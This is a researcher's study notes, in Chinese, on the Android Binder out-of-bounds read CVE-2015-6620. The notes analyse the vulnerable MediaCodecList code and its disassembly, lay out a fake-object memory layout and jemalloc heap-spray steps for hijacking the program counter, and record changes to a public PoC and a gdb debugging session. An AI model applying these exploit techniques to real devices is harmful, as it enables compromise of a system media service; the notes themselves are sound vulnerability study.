[转组第11天] | CVE-2015-6620学习总结
2018-05-24
前言
想学习android漏洞方面的知识,Flanker Edward在知乎上有个回答,提出了binder的经典漏洞cve-2015-6620,所以就从这个漏洞开始学习,作者提供了poc和文档,这篇笔记主要发分析一下漏洞,以及记录第一次调试android漏洞遇到的问题。
环境搭建与基础知识
这个是android平台上binder方面的漏洞,所以涉及到一些android的底层知识需要学习一下
- Binder
- 智能指针
- Jemalloc
关于基础知识有别的文档总结介绍。
Gdb调试环境的搭建:
android eng版本中自带的gdb版本太低,不支持python,而且gdb使用的内置python,版本一般较低,不适合安装peda-arm和shadow插件等。
这里建议gdbserver使用shadow自带的gdbserver32,并且按照shadow文档里面下载编译gdb7.11,(注意:gdb版本和gdbserver版本要对应)。我这里编译的是arm-eabi-linux版本。
(曾尝试下载gdb官方软件包,用android的独立工具链进行编译,各种错误,所以就按shadow文档中所写,要clone google toolchain/gdb,按照文档步骤编译。但是这样只生成了gdb7.11,没有生成gdbserver,猜测gdbserver还是需要工具链编译?这里就只使用了shadow自带的gdbserver32[version 7.11].)
漏洞成因
CVE-2015-6620包含两个漏洞,编号分别为24123723和24445127,这里主要分析的是24445127MediaCodecInfo越界访问。
漏洞存在于MediaCodecList服务。该Binder服务提供了一个getCodecInfo的功能,
(MeidaCodecList服务:允许枚举可用的编解码器,每个指定为MediaCodecInfo对象。
getCodecInfo获取指定下标编解码器信息。)
存在漏洞的代码如下:
1 //http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54 2 3 status_t BnMediaCodecList::onTransact( 4 uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags) 5 { 6 switch (code) { 7 8 case GET_CODEC_INFO: 9 { 10 CHECK_INTERFACE(IMediaCodecList, data, reply); 11 size_t index = static_cast<size_t>(data.readInt32()); 12 const sp<MediaCodecInfo> info = getCodecInfo(index); //调用服务端的实现 13 if (info != NULL) { 14 reply->writeInt32(OK); 15 info->writeToParcel(reply); 16 } else { 17 reply->writeInt32(-ERANGE); 18 } 19 return NO_ERROR; 20 } 21 22 break;
从Parcel中读取从客户端传来的索引,然后调用在服务端实现的getCodecInfo,看下在MediaCodecList中实现的getCodecInfo:
1 //http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49 2 3 struct MediaCodecList : public BnMediaCodecList { 4 5 Vector<sp<MediaCodecInfo> > mCodecInfos; 6 virtual sp<MediaCodecInfo> getCodecInfo(size_t index) const { 7 return mCodecInfos.itemAt(index); // 未进行任何边界检查 8 } 9 }
其中mCodecInfos是MeidaCodecList的私有成员:
1 struct MediaCodecList : public BnMediaCodecList { 2 private: 3 ... 4 Vector<sp<MediaCodecInfo> > mCodecInfos; 5 sp<MediaCodecInfo> mCurrentInfo; 6 ...
可以看到直接调用了vector的itemAt函数,并未进行任何边界检查,而index是我们客户端程序可以控制的,这地方就存在一个越界访问漏洞。
注意:一旦发生越界访问,mediaserver会崩溃重启,但是异常会被捕获由于地址不可访问之类。该poc程序的主要目的是实现pc寄存器的控制。
poc的基本思路是在Vector<sp<MediaCodecInfo>>后面添加伪造的sp<MediaCodecInfo>,使其指向我们伪造的MediaCodecInfo对象:
但是这样感觉顶多就是返回一个我们预设的fake MediaCodecInfo对象信息,如何获取pc寄存器的控制呢?
漏洞利用:
根据漏洞的成因,我们现在有这样一个能力:可以越界访问Binder服务所在进程中的一个Vector<sp<MediaCodecInfo>>,但是只能读取不能写入。漏洞作者利用这样一种能力可以实现任意地址读取和pc寄存器的控制。下面主要分析pc控制的原理。在分析poc原理前,需要了解相关对象在内存中的布局,如下图所示:
pc control poc原理分析:
一个越界读可以造成pc的控制,关键在于getCodecInfo的调用:
const sp<MediaCodecInfo> info = getCodecInfo(index);
1 //sp 拷贝构造函数 2 template<typename T> 3 sp<T>::sp(const sp<T>& other) 4 : m_ptr(other.m_ptr) 5 { 6 if (m_ptr) m_ptr->incStrong(this); 7 }
上面的代码是用getCodecInfo函数的返回值新建了一个info对象,这就会调用info的拷贝构造函数。info的类型为sp,sp的拷贝构造函数如上所示。可以看看getCodecInfo的汇编版本,像这样返回对象的函数,一般会把R0指向返回对象保存的地址。
1 //libstagefright.so 2 3 .text:000A9478 ; android::sp<android::MediaCodecInfo> __usercall android::MediaCodecList::getCodecInfo@<R0>(const android::MediaCodecList *this@<R1>, size_t index@<R2>) 4 5 .text:000A9478 return_obj = R0 ;保存的就是上面info的地址 6 .text:000A9478 this = R1 ; const android::MediaCodecList * 7 .text:000A9478 index = R2 ; size_t 8 .text:000A9478 PUSH.W {R11,LR} 9 .text:000A947C MOV R3, R0 10 .text:000A947E LDR R0, [this,#0x5C] 11 .text:000A9480 LDR.W R0, [R0,index,LSL#2] ; 这里可以越界读取 12 .text:000A9484 STR R0, [R3]; 设置info.m_prt 13 .text:000A9486 CMP R0, #0 14 .text:000A9488 ITT NE 15 .text:000A948A MOVNE this, R3 ; 调用info的拷贝构造函数,因为inline优化直接调用了(info.m_ptr)->incStrong() 16 .text:000A948C BLXNE _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*) 17 .text:000A9490 POP.W {R11,PC} 18 .text:000A9490 ; End of function android::MediaCodecList::getCodecInfo(uint)
可以看到会将vector的内容读取到R0中,如果R0不为0,会调用incStrong,代码如下:
1 //http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322 2 3 4 void RefBase::incStrong(const void* id) const 5 { 6 7 weakref_impl* const refs = mRefs; 8 refs->incWeak(id); 9 10 refs->addStrongRef(id); 11 const int32_t c = android_atomic_inc(&refs->mStrong); 12 ALOG_ASSERT(c > 0, "incStrong() called on %p after last strong ref", refs); 13 #if PRINT_REFS 14 ALOGD("incStrong of %p from %p: cnt=%d\n", this, id, c); 15 #endif 16 if (c != INITIAL_STRONG_VALUE) { 17 return; 18 } 19 20 21 android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong); 22 refs->mBase->onFirstRef(); //这里有虚函数的调用 23 24 }
汇编代码版本,可以清楚看到存在虚函数的调用:
1 // libutils.so 2 3 .text:0000E6BE ; void __fastcall android::RefBase::incStrong(const android::RefBase *const this, const void *id) 4 .text:0000E6BE EXPORT _ZNK7android7RefBase9incStrongEPKv 5 .text:0000E6BE 6 .text:0000E6BE this = R0 ; const android::RefBase *const 7 .text:0000E6BE id = R1 ; const void * 8 .text:0000E6BE PUSH {R4,LR} 9 .text:0000E6C0 LDR R4, [this,#4] ;this存放的就是越界读取的内容 10 .text:0000E6C2 refs = R4 ; android::RefBase::weakref_impl *const 11 .text:0000E6C2 MOV this, refs ; this 12 .text:0000E6C4 BLX j__ZN7android7RefBase12weakref_type7incWeakEPKv ; 13 .text:0000E6C8 DMB.W SY 14 .text:0000E6CC LDREX.W R3, [refs] 15 .text:0000E6D0 ADDS R2, R3, #1 16 .text:0000E6D2 STREX.W R1, R2, [refs] 17 .text:0000E6D6 CMP R1, #0 18 .text:0000E6D8 BNE loc_E6CC 19 .text:0000E6DA CMP.W R3, #0x10000000 20 .text:0000E6DE BNE locret_E700 21 .text:0000E6E0 DMB.W SY 22 .text:0000E6E4 LDREX.W R0, [refs] 23 .text:0000E6E8 ADD.W R12, R0, #0xF0000000 24 .text:0000E6EC STREX.W R3, R12, [refs] 25 .text:0000E6F0 CMP R3, #0 26 .text:0000E6F2 BNE loc_E6E4 27 .text:0000E6F4 LDR R0, [refs,#8] 28 .text:0000E6F6 LDR refs, [R0] ; vtable 29 .text:0000E6F8 LDR R2, [R4,#8] ; 可以通过这里控制pc 30 .text:0000E6FA POP.W {R4,LR} 31 .text:0000E6FE BX R2
梳理一下就是,越界读取的内容放入R0,然后进行如下操作:
1 refs = [R0 + 4] 2 if ([refs] == 0x10000000) 3 mbase = [refs + 8] 4 vtable = [mbase] 5 call [vtable + 8]
也就是说如果我们在内存中伪造了合适的MediaCodecInfo,并且将指向该伪造的MediaCodecInfo的指针放入vector<sp<MediaCodecInfo>>存储区的后面,这样我们可以通过越界访问,读取到指向该伪造的MediaCodecInfo的指针,进而控制PC。我们可以在内存还总伪造如下的MediaCodecInfo:
1 //BASEADDR 为假MediaCodecInfo的起始地址 2 *(BASEADDR) = vtale; //设置MediaCodecInfo vtable 随便填写 3 *((unsigned int *)BASEADDR + 1) = BASEADDR + 12; //mRefs, 使他指向BASEADDR + 12 4 *((unsigned int *)BASEADDR + 3) = 0x10000000; //mRefs指向此处,即虚假的info->mRefs的起始地址 5 *((unsigned int *)BASEADDR + 5) = BASEADDR + 0x20; //info->mRefs->mBase字段,使他指向BASEADDR + 0x20 6 *((unsigned int*)BASEADDR + 8) = BASEADDR + 0x20 + 4; //mBase的vtable字段,使他指向BASEADDR + 0x20 + 4 7 *((unsigned int*)BASEADDR + 11) = 0x61616161; //vtable +8, 我们可以在此处放置目标pc
注意,这里并未构建完整的MediaCodecInfo而是顺着把虚函数调用过程使用的参数全部构造出来放在一起,如下图:
小结:
所以基本的利用思路,就是构建一个假的MediaCodecInfo对象,在getCodecInfo函数返回一个新的sp<MediaCodecInfo>对象时,需要调用sp的拷贝构造函数,需要把假的MediaCodecInfo对象强引用加1,调用incStrong函数,incStrong函数内部又会调用onfirstRef虚函数。由于MediaCodecInfo对象是我们构造的,我们就可以进一步构造其父类以及Vtable指向,最终篡改Vtable中Refbase::onFirstRef的地址为我们想让其访问的地址0x61616161。
那如何让poc程序在mediaServer进程中构造假的MediaCodecInfo对象呢?又如何通过数组越界访问到我们构造的MeidaCodecInfo对象。下面陈述一下poc实现漏洞的原理。
Poc的原理:
要成功的运行poc实现漏洞利用的目的,要进行两次堆喷射,第一次是将我们伪造的MediaCodecInfo喷射到内存中,第二次是将我们伪造的MeidaCodecInfo的地址喷射到Vector<sp<MediaCodecInfo>>的存储区的后面,这样就可以通过越界读取,来触发漏洞。
第一步堆喷射喷射了0x1200次,在我的环境(Android6.0.0_r1 arm-eng)下,每个region大小为0x1800。喷射的占用的run会覆盖0xb3005000地址,且正好是块头。所以我们选择0xb3005010作为BASEADDR,前16个字节是因为Vector从存储到SharedBuffer上,SharedBuffer的私有成员有16字节。
第二步堆喷射需要将指向MediaCodecInfo的指针喷射到Vector<sp<MediaCodecInfo>>的存储区的后方,
作者的方法是:Vector的存储区肯定是jemalloc分配的,肯定是落在某个大小的region内,所以作者首先计算出这个大小,后面堆喷射时,喷射出大量相同大小的region,这个样后面越界的ulu就会有很大概率命中。所以关键步骤就是:
计算Vector<sp<MediaCodecInfo>>的存储区所在region大小
确保堆喷射时,分配的是相同大小的region.
通过调试发现vector<sp<MediaCodecInfo>>的存储区所在region大小和作者中poc给的一直,但是在调试时发现堆喷射的payload并没有落在大小为160的region内,而是在0x100的region内。
将其修改为96就可以保证分配在160region中。
调试分析:
下面记录调试细节,由于是第一次调试。
调试环境:
Android6.0.0_r1 模拟器
修改后的poc以及程序
gdb7.11和gdbserver7.11
修改POC代码:
因为作者是在android5.1上测试的,有些硬编码的值不适用于android6.0.0r1。
1 void setupRawBufForPControl(char* buf) 2 { 3 const unsigned int BASEADDR = 0xb3005010;
把BASEADDR地址改了,原来是0xb3003010,在调试过程中发现并不能喷射到0xb3003010,选择另外一个相对稳定的BASEADDR即可。这里选择的0xb3005010,注意0x10是预留给SharedBuffer私有成员的,调试就能发现。
1 void setupRawBufForZone160(char* buf) 2 { 3 for(size_t i=0; i< 96/ sizeof(int); i++) 4 { 5 *((unsigned int*)buf + i) = 0xb3005010; 6 } 7 }
同样把硬编码值修改了,还有就是把payload的长度改为96,以便分配到160大小的region上,跟vector<sp<MediaCodecInfo>>region相同,都在region大小为0xa0的run里。这样大概率能越界访问到BASEADDR。
1 printf("[+]spraying zone160"); 2 //now spray SIZE 160 3 const size_t ZONESIZE = 96;
这个还是修改payload长度。位于main函数中。
修改完POC源码后,利用mmm重新编译POC。
编译完成后会生成poc程序在out目录下,我这里用的是sysmbols/system/bin目录下poc程序,它比system/bin目录下的poc程序大很多,包含符号信息。
下面开始调试:
1. 开启模拟器
1 cd source(android源码目录) 2 source build/envsetup.sh 3 lunch 1 4 emulator
2. 预计最少需要4个终端,一个终端使用gdb调试,一个终端运行poc,一个终端运行gdbserver。还有一个终端开启模拟器(step 1)。终端的操作
1) 第一步模拟器已经开了。
2) POC终端
1 adb remount 2 adb push /home/wql/下载/shadow-master/bin/gdbserver32 /system/bin/ 3 adb push poc /system/bin/ 4 adb forward tcp:1234 tcp:1234 5 adb shell ps | grep media
注意adb shell ps | grep media也可以先adb shell 之后,在android终端下再ps|grep media,这个调试时会时不时用到,因为一旦执行poc越界访问,访问到非法地址都会造成mediaserver崩溃,mediaserver都会崩溃重启,PID会改变,每次调试完之后,都要ps|media,来查询mediaserver的新PID,用于gdbserver附加。
下面执行poc
1 adb shell 2 poc
这里poc程序专门写了一个getchar()便于我们attach到mediaserver,执行完这一步,MediaCodecInfo已经被分配到mediaserver的堆中了,稍后可以查看。
3) gdbserver终端
经过poc终端的配置,gdbserver终端的配置就很简单了,就是启动gdbserver附加到mediaserver即可。
1 adb shell 2 gdbserver32 :1234 --attach 67
4) gdb终端
1 ./gdb /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/bin/mediaserver
执行完毕后,如下图,从mediaserver中读取了符号表。
接着设置库文件的查询路径:
1 set solib-search-path /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/lib 2 set solib-absolute-prefix /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/lib
接着连接远程调试端口:
1 target remote:1234
会发现它从设置的lib路径读取了它所需的so文件。此时的源文件也都能跟本地对应上,可以使用info sources命令查看。
接着加载shadow插件:
1 source /home/wql/下载/shadow-master/gdb_driver.py 2 jeparse -c /home/wql/下载/shadow-master/cfg/android6_32.cfg
第二句命令是选择对应版本的配置。
接下来是下断点:
1 #b frameworks/av/include/media/stagefright/MediaCodecList.h:50 2 b android::MediaCodecList::getCodecInfo(unsigned int) const
这里可以选择下源文件按行下断点,也可以直接下函数的断点,这里推荐下函数的断点,这样会准确的停到函数入口。
现在已经一切都准备完成了,接下来可以直接continue...,查看运行结果。不过在此之前我们可以先用shadow看看jemalloc的堆使用情况。
1 jeruns
这里可以看到已分配的run信息,我们重点关注0xb3005010所在run.可以看到并没有包含0xb3005010的run,这就出现了问题,说明我们选择的地址并不算太稳定。这种情况,在mediaserver崩溃过一次之后才解决。这说明地址选的还是不够稳定。
我们先看一下region内容:
可以看到前0x10个字节是sharedbuffed的私有成员信息,所以我们baseaddr选择0xXXXXXX10开始。这里有0x1200个0x1800region全部是我们第一次喷射进堆的块。可以看到在0xb3005010处我们的MediaCodeInfo对象已经布置好了。
我们退出gdb调试,再在程序输入index位置处重新附加:
重新启动gdbserver附加mediaserver进程。
继续查看jeruns分布
如上图所示,其实此时0xa0大小region所在run就是Vector<sp<MediaCodecIndo>>所在的run。我们下好getCodecInfo的断点,continue:
1 continue
在poc程序中输入84:
会发现触发了gdb中getCodecInfo的断点:
我们打印mCodecInfos变量:
1 print mCodecInfos
可以看到它存储在mStorage =0xb60d5d30,就是位于我们上面所提的0xa0大小region的run。
1 jerun 0xb60d5000
可以看到Vector<sp<MediaCodecIndo>>所在的region。
查看Vector<sp<MediaCodecIndo>>对象内容:
1 x/100xw 0xb60d5d30
可以看到输入84可以访问到0xb3005010数据。从而能访问到0xb3005010存储的MediaCodecInfo对象。
继续continue,就可以看到成功访问到预设的地址0x616161,达到了控制PC的目的:
到此就表明POC已经执行成功了。由于0x61616161处没有预设代码,所以跟正常越界访问一样,也会造成崩溃重启。
我们可以发现的第二次堆喷射的分配的大小保证了Vector<sp<MediaCodecIndo>>所在的region大小一致,就有很大的机率放置到Vector<sp<MediaCodecIndo>>所在的region的后面,用于越界访问。
参考和感谢:(glider菜鸟 )
https://bbs.pediy.com/thread-226699.htm